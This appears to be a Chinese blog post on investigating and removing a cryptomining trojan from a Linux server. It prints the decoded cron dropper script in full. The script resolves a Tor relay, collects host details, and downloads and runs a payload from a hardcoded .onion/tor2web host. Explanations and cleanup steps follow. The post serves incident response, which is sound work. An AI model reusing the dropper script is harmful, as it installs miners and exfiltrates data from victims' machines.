挖矿木马的分析与处置过程

参考1:http://www.hackdig.com/06/hack-677824.htm

参考2:https://blog.csdn.net/weixin_42915431/article/details/122044779

1、top -c查看CPU利用率高的进程,确认进程是不是挖矿

2、systemctl status ****(进程ID)查看关联的进程和文件路径,可以使用lsof来协助查看。

3、查看计划任务,有3个地方,分别是/etc/cron.d ,crontab -l, /var/spool/cron,

4、后分析计划任务脚本,一般是base64转换的,把文字copy出来通过工具转换出来

5、分析转换出来的脚本

4kL9OcW8V9txg6xt7Pfv5rzp3mDHQ9I
exec &>/dev/null
export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "25wlksd35c2fs55rnhlcfz3jjaujxmbmfkvrxeu7tkgnnesdhh3gghqd")

sockz() {
n=(dns.twnic.tw doh-ch.blahdns.com doh-de.blahdns.com doh-fi.blahdns.com doh-jp.blahdns.com doh.li doh.pub doh-sg.blahdns.com fi.doh.dns.snopyta.org dns.digitalsize.net)
p=$(echo "dns-query?name=relay.tor2socks.in")
q=${n[$((RANDOM%${#n[@]}))]}
s=$($c https://$q/$p | grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1)
}

fexe() {
for i in . $HOME /usr/bin $d /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)$(whoami)$(uname -m)$(uname -n)$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)
$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$r
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.it
do
if ! ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status; then
fexe;u $t.$h
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)
ls /proc/$(head -n 1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)
else
break
fi
done

下面 简单解析下脚本内容:

①exec &>/dev/null 将该脚本至于后台执行,并且不打印出任何内容

②d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) 则是获取当前用户的$HOME路径

③c=$(echo "curl -4fsSLkA- -m200"),下面的 sockz 函数中使用该curl命令,基于http协议的dns解析ipv4 relay.tor2socks.in域名的地址,从以下域名中获取:

dns.twnic.tw doh-ch.blahdns.com doh-de.blahdns.com doh-fi.blahdns.com doh-jp.blahdns.com doh.li doh.pub doh-sg.blahdns.com fi.doh.dns.snopyta.org dns.digitalsize.net

如:

[root@localhost ~]# curl -4fsSLkA- -m200 https://doh.pub/dns-query?name=relay.tor2socks.in
{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"relay.tor2socks.in.","type":1}],"Answer":[{"name":"relay.tor2socks.in.","type":1,"TTL":25,"Expires":"Mon, 20 Dec 2021 15:13:07 UTC","data":"139.177.194.70"}],"edns_client_subnet":"119.28.122.4/0"}
[root@localhost ~]#
[root@localhost ~]# $c https://$q/$p | grep -oE "\b([0-9]{1,3}.){3}[0-9]{1,3}\b" |tr ' ' '\n'|grep -Ev [.]0|sort -uR|tail -1
139.177.194.70
④ fexe 函数是在用户的主目录、/tmp、/var/tmp 和 /usr/bin 目录中创建一个名为 i 的文件,内容为exit, 然后它尝试执行该文件并将其删除。 这旨在查找恶意软件可以在其中写入和执行文件的目录。

⑤ u 函数发送http请求到/cmd路径,然后到硬编码的TOR域,然后启动执行后删除文件。

其中 curl -4fsSLk checkip.amazonaws.com || curl -4fsSLk ip.sb 命令可以用来获取本机外网ip地址。
————————————————

6、排查系统audit的ssh爆破日志

7、清除挖矿病毒文件
清理3个计划任务,

第一步便是要将定时任务删除完,通过crontab -e移除/root/systemd-private-,然后再删除/etc/cron.d/0systemd-private-和/opt/systemd-private-*.sh文件以及/var/spool/cron下的sh
再去查看/tmp/.X11-unix/文件下01、11获取其PID,使用kill -9 进程id,杀死进程
更改文件夹权限,再不清楚攻击者从哪里进来的时候,/tmp/.X11-unix/这个文件夹可以进行保留,防止黑客重新写入,但要设置好权限,若服务器中运行了其他的一些模块和脚本,杀相关进程和文件,重复上面的方法即可

chattr +i [file/directory]使file/directory无法被更动

chattr +i /tmp/.X11-unix/01

chmod -R 000 /tmp/.X11-unix/01查看文件夹权限

ls -ld /tmp/.X11-unix/
需要注意的一点是:这些文件夹其实是系统自带的,主要作用是存储临时文件,只是该挖矿木马利用了这个可读可写的权限,将内容放在里面,在进行清理和溯源的时候要注意区别。

版权声明:本文内容由互联网用户撰写,该文观点仅代表作者本人。本站爱分享仅提供分享服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请立马联系本站,本站将立刻删除。
THE END
分享
二维码
< <上一篇
下一篇>>